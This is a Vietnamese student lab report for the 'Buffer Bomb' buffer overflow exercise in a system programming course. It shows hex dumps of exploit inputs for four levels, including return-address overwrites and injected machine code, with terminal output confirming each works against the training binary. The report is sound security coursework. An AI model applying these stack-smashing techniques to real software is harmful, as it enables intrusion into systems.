



BÁO CÁO THỰC HÀNH

Bài thực hành 6.2: Buffer overflow attack: Buffer Bomb

Môn học: Lập trình hệ thống

Lớp: NT209.Q13.ANTT.2

THÀNH VIÊN THỰC HIỆN (Nhóm 6):

| STT | Họ và tên | MSSV |
|-----|-----------------|----------|
| 1 | Huỳnh Đăng Khoa | 24520815 |
| 2 | Phan Hoàng Dũng | 24520348 |
| 3 | Phạm Ngọc Dũng | 24520346 |

NỘI DUNG BÁO CÁO:

- Quy ước: userid = 346348815

1. Level 0

```
00000000  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
00000010  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
00000020  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
00000030  00 00 00 00 00 00 00 00 00 00 00 00 AB 14 3D 80 .....=.
00000040
00000050
--- input_0      --0x0/0x40--0%-----
```

```
tch:~/build/tmp/as
$ ./bufbomb -u 346348815 < input_0
Userid: 346348815
Cookie: 0x69dc8bd2
Type string:Smoke!: You called smoke()
VALID
NICE JOB!
tch:~/build/tmp/as
$
```

[0] 0:bash*

"tch@localPC mnt" 18:51 15-Dec-25

2. Level 1

```
00000000  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
00000010  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
00000020  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
00000030  00 00 00 00 00 00 00 00 00 00 00 00 D8 14 3D 80 .....=.
00000040  00 00 00 00 D2 8B DC 69 .....i
00000050
--- input_1      --0x0/0x48--0%-----
```

```
tch:~/build/tmp/as
$ ./bufbomb -u 346348815 < input_1
Userid: 346348815
Cookie: 0x69dc8bd2
Type string:Fizz!: You called fizz(0x69dc8bd2)
VALID
NICE JOB!
tch:~/build/tmp/as
$
```

```
[0] 0:bash* "tch@localPC mnt" 18:51 15-Dec-25
```

3. Level 2

```
00000000  C7 05 60 61 3D 80 D2 8B DC 69 68 29 15 3D 80 C3 ..`a=....ih).=.
00000010  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
00000020  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
00000030  00 00 00 00 00 00 00 00 F0 30 68 55 B8 30 68 55 .....0hU.0hU
00000040
00000050
--- input_2      --0x0/0x40--0%-----
```

```
tch:~/build/tmp/as
$ ./bufbomb -u 346348815 < input_2
Userid: 346348815
Cookie: 0x69dc8bd2
Type string:Bang!: You set global_value to 0x69dc8bd2
VALID
NICE JOB!
tch:~/build/tmp/as
$
```

```
[0] 0:bash* "tch@localPC mnt" 18:52 15-Dec-25
```

4. Level 3

```
00000000  B8 D2 8B DC 69 68 97 15 3D 80 C3 00 00 00 00 00 ....ih..=.....
00000010  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
00000020  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
00000030  00 00 00 00 00 00 00 00 10 31 68 55 B8 30 68 55 .....1hU.0hU
00000040
00000050
--- input_3          --0x0/0x40--0%-----
tch:~/build/tmp/as
$ ./bufbomb -u 346348815 < input_3
Userid: 346348815
Cookie: 0x69dc8bd2
Type string:Boom!: getbuf returned 0x69dc8bd2
VALID
NICE JOB!
tch:~/build/tmp/as
$
```

[0] 0:bash* "tch@localPC as" 18:52 15-Dec-25